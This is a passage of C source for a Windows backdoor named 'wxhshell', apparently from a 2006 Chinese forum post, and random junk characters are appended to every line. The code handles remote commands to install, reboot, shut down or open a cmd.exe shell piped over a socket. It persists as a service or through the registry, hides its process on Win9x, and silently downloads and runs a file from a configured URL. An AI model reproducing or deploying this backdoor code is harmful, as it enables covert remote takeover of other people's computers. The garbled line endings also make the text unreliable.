    break; HtIM8z#/  
  } ~>ACMO  
  // 安装 4>Q6!"  
  case 'i': { NPEs0|  
    if(Install()) vV| u+v{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sT3O_20{  
    else @Tzh3,F2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0BIH.ZV#  
    break; kf$0}T`  
    } @$;"nVZ4v  
  // 卸载 M(S:&GOU  
  case 'r': { ]#[ R^t  
    if(Uninstall()) 6?ylSQ]1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jh[fFg]  
    else yHhBUpIo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C=AX{sn  
    break; [N925?--S  
    } 6kKIDEX  
  // 显示 wxhshell 所在路径 X4Eq/q"  
  case 'p': { r>`65o  
    char svExeFile[MAX_PATH]; /W/ =OPe  
    strcpy(svExeFile,"\n\r"); >9|/sH@W  
      strcat(svExeFile,ExeFile); jzu1>*ok  
        send(wsh,svExeFile,strlen(svExeFile),0); *A O/$K@Ma  
    break; ,?7U Rx*  
    } ( _E<?  
  // 重启 #f~#38_  
  case 'b': { U w][U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ohnd:8E  
    if(Boot(REBOOT)) &}%3yrU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B}YB%P_CWs  
    else { z}N=Oe  
    closesocket(wsh); _y),C   
    ExitThread(0); ~FM5]<X)  
    } X%S?o  
    break; q?{wRBVVB  
    } 0\Qqv7>  
  // 关机 hn-9l1~!h  
  case 'd': { TgVvp0F;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m Fwx},dl  
    if(Boot(SHUTDOWN)) qv=i eU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "wTA9\  
    else { ]Z@- r  
    closesocket(wsh); L*1C2EL/q  
    ExitThread(0); =\?KC)F*e  
    } 3xh~xE  
    break; W :jC2,s!m  
    } -D0kp~AO4N  
  // 获取shell u:3~Ius  
  case 's': { zVYX#- nv  
    CmdShell(wsh); _CBG?  
    closesocket(wsh); [L"(flY(E  
    ExitThread(0); SI)u@3hl&w  
    break; :}v&TQ  
  }  ">*PH}b  
  // 退出 ,D3?N2mB  
  case 'x': { mHUQtGAVQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Pp6(7j  
    CloseIt(wsh); %<DXM`Y  
    break; vu;pILN  
    } -S OP8G  
  // 离开 P|_>M SO1'  
  case 'q': { ksT2_Ic  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nWfOiw-t  
    closesocket(wsh); J"L+`i  
    WSACleanup(); yNP M-  
    exit(1); Z~ VOO7|m  
    break; r'uD|T H  
        } Oj6-  
  } tpO%)*  
  } +HQX]t:Y  
%vDN{%h8  
  // 提示信息 aRdzXq#x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |vw0:\/ H  
} Dx/BxqG6}_  
  } (\>3FwFHW|  
(V)nHF*<>  
  return; /\hybx'  
} r*fZS$e  
Q}2aBU.f  
// shell模块句柄 >uN{cohs  
int CmdShell(SOCKET sock) [nB[]j<R*  
{ +6-c<m|  
STARTUPINFO si; nxkbI:+t  
ZeroMemory(&si,sizeof(si)); H[UV]qO,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +*]"Yo~]}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D.9qxM"Z>  
PROCESS_INFORMATION ProcessInfo; W~z 2Q so  
char cmdline[]="cmd"; +hI:5(_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Va"Q1 *"  
  return 0; 9aFu51  
} +] >o@  
Tz[ck 'k  
// 自身启动模式 3,=97Si=  
int StartFromService(void) F~2bCy[Z  
{ ) gbns'Z<  
typedef struct w5w,jD[  
{ _8Cw_  
  DWORD ExitStatus; GuPxN}n 5  
  DWORD PebBaseAddress; c! vtQ<h-  
  DWORD AffinityMask; tAO,s ZW  
  DWORD BasePriority; W+d=BnOa8  
  ULONG UniqueProcessId; SK t&]H  
  ULONG InheritedFromUniqueProcessId; a,i k=g  
}   PROCESS_BASIC_INFORMATION; %wWJVq}jx  
:sAb'6u1EU  
PROCNTQSIP NtQueryInformationProcess; gQMcQV]C$  
^<49NUB>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jd?N5.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kVR_?ch{  
ZxLdh8v.  
  HANDLE             hProcess; (3~h)vaJ  
  PROCESS_BASIC_INFORMATION pbi; jR[VPm=  
82l$]W4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lKWe=xY\B  
  if(NULL == hInst ) return 0; u0 myB/`  
9+H C!Uot  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >W Tn4SW@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gb+iy$o-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ICA p  
U:"X *  
  if (!NtQueryInformationProcess) return 0; D])&>  
f?vbIc`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @lpo$lN0R  
  if(!hProcess) return 0; Htl2CcZ  
OSreS5bg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -5vg"|ia,  
0z&]imU  
  CloseHandle(hProcess); ~(i#A>   
}huj%Pnk )  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N~H!6N W  
if(hProcess==NULL) return 0; B' }h6ZH  
9U~fc U6  
HMODULE hMod; U )kl !  
char procName[255]; >T84NFdz+  
unsigned long cbNeeded; Buc{dcL/  
JBqL0H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U'~M(9uv:  
J5dwd,FQ  
  CloseHandle(hProcess); s krdL.5  
%8Eu{3  
if(strstr(procName,"services")) return 1; // 以服务启动 @^P<(%p  
S 7pf QF  
  return 0; // 注册表启动 AXnRA W  
} vH1IVF"DS  
^UU@7cSi|G  
// 主模块 B xAyjA6  
int StartWxhshell(LPSTR lpCmdLine) {A^3<=|  
{ `/ <y0H  
  SOCKET wsl; Sc b'  
BOOL val=TRUE; xqm-m  
  int port=0; /bdL.Y#V  
  struct sockaddr_in door; 2<$pai"yl  
x[u4>f  
  if(wscfg.ws_autoins) Install(); hTfq>jIB_  
lw+54lZX|  
port=atoi(lpCmdLine); 3CL1Z\8To  
XLHi  
if(port<=0) port=wscfg.ws_port; (KG2X  
X$r5KJU  
  WSADATA data; W%ml/ 4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1t+uMhy*y  
,9,cN-/a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P^(uS'j)+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \_io:{M  
  door.sin_family = AF_INET; ^VI\:<\{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d1jg3{pwA  
  door.sin_port = htons(port); Z  FIy  
":v^Y 9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GJs{t1 E  
closesocket(wsl); zv .#9^/y  
return 1; DpCe_Vb%M  
} F\u]X  
M r-l  
  if(listen(wsl,2) == INVALID_SOCKET) { Vh?5  
closesocket(wsl); SfSWjq  
return 1; L"8Z5VHA&&  
} hTc :'vq  
  Wxhshell(wsl); g"{`g6(+  
  WSACleanup(); Kz~E"?  
CwjKz*'[g  
return 0; i[Qq,MmC  
/ jLb{Ky  
} !LR9}Xon  
JUXo3D~  
// 以NT服务方式启动 dzk1!yy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /07iQcT(  
{ mX2X.ww(4  
DWORD   status = 0; jXPf}{^  
  DWORD   specificError = 0xfffffff;  "tT68  
cqYMzS t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^O.` P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4Sz2 9\X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /9b+I/xY"  
  serviceStatus.dwWin32ExitCode     = 0; _|r/* (hh  
  serviceStatus.dwServiceSpecificExitCode = 0; ajCe&+  
  serviceStatus.dwCheckPoint       = 0; %OJ"@6A  
  serviceStatus.dwWaitHint       = 0; fQU5'wGp  
cb=ixn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $bU.6  
  if (hServiceStatusHandle==0) return; Skl:~'W.&|  
5X PoQ^  
status = GetLastError(); 5Lm-KohT'  
  if (status!=NO_ERROR) ;.66phe  
{ &8;Fi2}(L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; / z m+  
    serviceStatus.dwCheckPoint       = 0; w-];!;%  
    serviceStatus.dwWaitHint       = 0; btOx\y}  
    serviceStatus.dwWin32ExitCode     = status; ;fYJ]5>  
    serviceStatus.dwServiceSpecificExitCode = specificError; HQZJK82  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wZ5k|5KtW  
    return; HCKocL/]h  
  } j ];#=+  
EG8%X"p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZU$QwI8  
  serviceStatus.dwCheckPoint       = 0; U:AB%gr[  
  serviceStatus.dwWaitHint       = 0; 1@t8i?:h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v4]#Nc$~T  
} ),>whCtsI  
hbe";(  
// 处理NT服务事件,比如:启动、停止 _WGWU7h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vL#I+_ 2  
{ @.,Mn#  
switch(fdwControl) ba tXj]:  
{ >u\'k +=  
case SERVICE_CONTROL_STOP: ,Yn$X  
  serviceStatus.dwWin32ExitCode = 0; >Qqxn*O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !'C8sNs  
  serviceStatus.dwCheckPoint   = 0; n5 <B*  
  serviceStatus.dwWaitHint     = 0; ]k$:sX  
  { 4d_Az'7`4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W!+eJ!Da  
  } d(j g "@  
  return; dy~M5,zn  
case SERVICE_CONTROL_PAUSE: ;Kh[6{W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8%`h:fE  
  break; %J+ w9Z  
case SERVICE_CONTROL_CONTINUE:  Spw^h=o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9!PM1<p  
  break; "yK)9F[9Mo  
case SERVICE_CONTROL_INTERROGATE: I^)_rOgM  
  break; ?pdN!zOeL  
}; bZ#KfR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); th{ie2$  
} E9w"?_A)  
WOeG3jMz?  
// 标准应用程序主函数 (Z0.H3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vp1Q^`a{G  
{ 9.:&u/e  
B~E>=85z  
// 获取操作系统版本 v8 II=9  
OsIsNt=GetOsVer(); </B:Zjn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %EYh*g{G  
gW?Hd/  
  // 从命令行安装 tiy#b8  
  if(strpbrk(lpCmdLine,"iI")) Install(); r3Kx  
BC85#sbl  
  // 下载执行文件 I-Q(kWc  
if(wscfg.ws_downexe) { L<G6)'5W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i)/#u+Y1P  
  WinExec(wscfg.ws_filenam,SW_HIDE); (S?qxW?  
} aI;fNy /K  
?y@;=x!'  
if(!OsIsNt) { |RBL5,t^  
// 如果时win9x,隐藏进程并且设置为注册表启动 a# Uk:O!  
HideProc(); J[UTn'M8]  
StartWxhshell(lpCmdLine); #^_7i)=~  
} F ~e}=Nb  
else *l@T 9L[M'  
  if(StartFromService()) Odm1;\=Eg+  
  // 以服务方式启动 @.=2*e.z|b  
  StartServiceCtrlDispatcher(DispatchTable); VrKLEN\  
else MH]?:]K9V  
  // 普通方式启动 'X\C/8\  
  StartWxhshell(lpCmdLine); 5>:p'zI  
UZL-mF:)&  
return 0; .G}$jO}  
}
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只看该作者 1 发表于: 2006-10-10
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